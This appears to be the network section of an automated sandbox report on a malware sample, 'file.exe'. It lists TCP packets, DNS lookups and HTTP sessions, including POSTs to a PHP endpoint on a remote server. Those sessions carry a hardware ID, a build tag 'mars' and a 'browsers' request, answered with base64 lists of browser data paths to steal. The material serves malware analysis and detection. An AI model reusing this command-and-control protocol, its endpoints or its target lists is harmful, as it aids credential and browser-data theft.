Nov 28, 2024 11:05:44.283718109 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.283752918 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.283792019 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.284719944 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.284765959 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.284878969 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.284929037 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.285754919 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.285800934 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.285871029 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.285921097 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.286843061 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.286897898 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.286927938 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.286962986 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.287832022 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.287899971 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.287976027 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.288022995 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.289182901 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.289226055 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.289405107 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.289525986 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.290335894 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.290409088 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.290510893 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.291105986 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.291147947 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.291250944 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.291321993 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.291981936 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.292048931 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.292114019 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.292205095 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.293042898 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.293106079 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.293108940 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.293210030 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.294070005 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.294133902 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.294178963 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.294213057 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.295106888 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.295222044 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.295310974 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.296158075 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.296248913 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.296406031 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.297432899 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.297478914 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.297544956 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.297591925 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.298245907 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.298289061 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.298294067 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.298333883 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.299272060 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.299341917 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.299371958 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.299505949 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.300312042 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.300357103 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.300378084 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.300492048 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.301352978 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.301454067 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.301517963 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.302398920 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.302515030 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.302520037 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.302659035 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.303419113 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.303495884 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.303533077 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.303613901 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.304481030 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.304522038 CET	49915	80	192.168.2.7	185.215.113.16
Nov 28, 2024 11:05:44.304555893 CET	80	49915	185.215.113.16	192.168.2.7
Nov 28, 2024 11:05:44.304631948 CET	49915	80	192.168.2.7	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 11:05:08.857795954 CET	192.168.2.7	1.1.1.1	0x9925	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:08.858045101 CET	192.168.2.7	1.1.1.1	0xd5df	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:16.421452045 CET	192.168.2.7	1.1.1.1	0x6125	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:16.421816111 CET	192.168.2.7	1.1.1.1	0x9de4	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:21.769030094 CET	192.168.2.7	1.1.1.1	0x6bd2	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:21.769346952 CET	192.168.2.7	1.1.1.1	0xf2ee	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:24.187064886 CET	192.168.2.7	1.1.1.1	0x69ac	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:24.187346935 CET	192.168.2.7	1.1.1.1	0xfd85	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 28, 2024 11:05:25.142307043 CET	192.168.2.7	1.1.1.1	0x9bb1	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:25.142477989 CET	192.168.2.7	1.1.1.1	0xab93	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:25.996952057 CET	192.168.2.7	1.1.1.1	0x38e4	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:25.997231960 CET	192.168.2.7	1.1.1.1	0x980c	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:26.065079927 CET	192.168.2.7	1.1.1.1	0x485f	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.065248013 CET	192.168.2.7	1.1.1.1	0x7e70	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:26.111119986 CET	192.168.2.7	1.1.1.1	0x97ab	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.111273050 CET	192.168.2.7	1.1.1.1	0x2820	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:26.113356113 CET	192.168.2.7	1.1.1.1	0x1842	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.113555908 CET	192.168.2.7	1.1.1.1	0x4b58	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:26.135015965 CET	192.168.2.7	1.1.1.1	0x2e4	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.135246992 CET	192.168.2.7	1.1.1.1	0xc38	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:26.138180971 CET	192.168.2.7	1.1.1.1	0xc8f6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.138364077 CET	192.168.2.7	1.1.1.1	0xab02	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 11:05:26.262130976 CET	192.168.2.7	1.1.1.1	0xa927	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.262260914 CET	192.168.2.7	1.1.1.1	0xbf69	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 28, 2024 11:06:26.136600971 CET	192.168.2.7	1.1.1.1	0xb4eb	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:06:26.136761904 CET	192.168.2.7	1.1.1.1	0xdcbf	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false
Nov 28, 2024 11:07:01.017025948 CET	192.168.2.7	1.1.1.1	0x800e	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:07:01.017115116 CET	192.168.2.7	1.1.1.1	0x184c	Standard query (0)	httpbin.org	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 11:05:08.995630026 CET	1.1.1.1	192.168.2.7	0xd5df	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 28, 2024 11:05:08.995640993 CET	1.1.1.1	192.168.2.7	0x9925	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:16.564065933 CET	1.1.1.1	192.168.2.7	0x9de4	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:16.566179991 CET	1.1.1.1	192.168.2.7	0x6125	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:16.566179991 CET	1.1.1.1	192.168.2.7	0x6125	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:21.924982071 CET	1.1.1.1	192.168.2.7	0xf2ee	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:21.924995899 CET	1.1.1.1	192.168.2.7	0x6bd2	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:22.525238991 CET	1.1.1.1	192.168.2.7	0x2b3b	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:22.525238991 CET	1.1.1.1	192.168.2.7	0x2b3b	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:22.559029102 CET	1.1.1.1	192.168.2.7	0x2f90	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:24.325078011 CET	1.1.1.1	192.168.2.7	0xfd85	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:24.325094938 CET	1.1.1.1	192.168.2.7	0x69ac	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:25.280698061 CET	1.1.1.1	192.168.2.7	0x9bb1	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:25.280698061 CET	1.1.1.1	192.168.2.7	0x9bb1	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:25.287441015 CET	1.1.1.1	192.168.2.7	0xab93	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:26.134421110 CET	1.1.1.1	192.168.2.7	0x38e4	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.134421110 CET	1.1.1.1	192.168.2.7	0x38e4	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.134421110 CET	1.1.1.1	192.168.2.7	0x38e4	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.134421110 CET	1.1.1.1	192.168.2.7	0x38e4	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.203058004 CET	1.1.1.1	192.168.2.7	0x485f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:26.204596996 CET	1.1.1.1	192.168.2.7	0x7e70	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:26.248672009 CET	1.1.1.1	192.168.2.7	0x97ab	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.248672009 CET	1.1.1.1	192.168.2.7	0x97ab	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.250785112 CET	1.1.1.1	192.168.2.7	0x2820	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 11:05:26.250797033 CET	1.1.1.1	192.168.2.7	0x1842	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.250797033 CET	1.1.1.1	192.168.2.7	0x1842	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.252317905 CET	1.1.1.1	192.168.2.7	0x4b58	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 11:05:26.273736954 CET	1.1.1.1	192.168.2.7	0xc38	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:26.276468039 CET	1.1.1.1	192.168.2.7	0xab02	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 11:05:26.276504993 CET	1.1.1.1	192.168.2.7	0xc8f6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.276504993 CET	1.1.1.1	192.168.2.7	0xc8f6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:05:26.277097940 CET	1.1.1.1	192.168.2.7	0x2e4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:26.400177002 CET	1.1.1.1	192.168.2.7	0xa927	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:05:26.400429964 CET	1.1.1.1	192.168.2.7	0xbf69	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:06:26.275125027 CET	1.1.1.1	192.168.2.7	0xb4eb	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:06:26.275405884 CET	1.1.1.1	192.168.2.7	0xdcbf	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 11:07:01.303359032 CET	1.1.1.1	192.168.2.7	0x800e	No error (0)	httpbin.org		18.213.123.165	A (IP address)	IN (0x0001)	false
Nov 28, 2024 11:07:01.303359032 CET	1.1.1.1	192.168.2.7	0x800e	No error (0)	httpbin.org		18.208.8.205	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	185.215.113.206	80	1780	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:05:00.484982967 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 11:05:01.814872026 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 11:05:01.817763090 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 39 43 43 31 35 32 30 46 33 35 35 37 34 32 31 37 39 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="hwid"EC9CC1520F35574217965------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="build"mars------ECGIIIDAKJDHJKFHIEBF--
Nov 28, 2024 11:05:02.280951023 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 47 55 32 4d 6a 45 33 4d 7a 67 34 5a 54 67 34 4f 54 41 31 4d 6d 59 30 4e 57 5a 69 59 6a 63 7a 4d 7a 6b 30 5a 54 42 6d 5a 57 55 79 5a 6d 5a 6b 4e 54 41 32 4e 7a 5a 6a 59 7a 6b 7a 4d 7a 56 68 4d 54 52 6b 59 6a 41 77 4f 54 4a 6b 4e 54 49 35 4d 32 46 6b 5a 44 46 69 59 7a 64 6b 4d 6d 5a 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NGU2MjE3Mzg4ZTg4OTA1MmY0NWZiYjczMzk0ZTBmZWUyZmZkNTA2NzZjYzkzMzVhMTRkYjAwOTJkNTI5M2FkZDFiYzdkMmZifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 28, 2024 11:05:02.286262035 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="message"browsers------AFBFHDBKJEGHJJJKFIIJ--
Nov 28, 2024 11:05:02.726141930 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 28, 2024 11:05:02.726217985 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
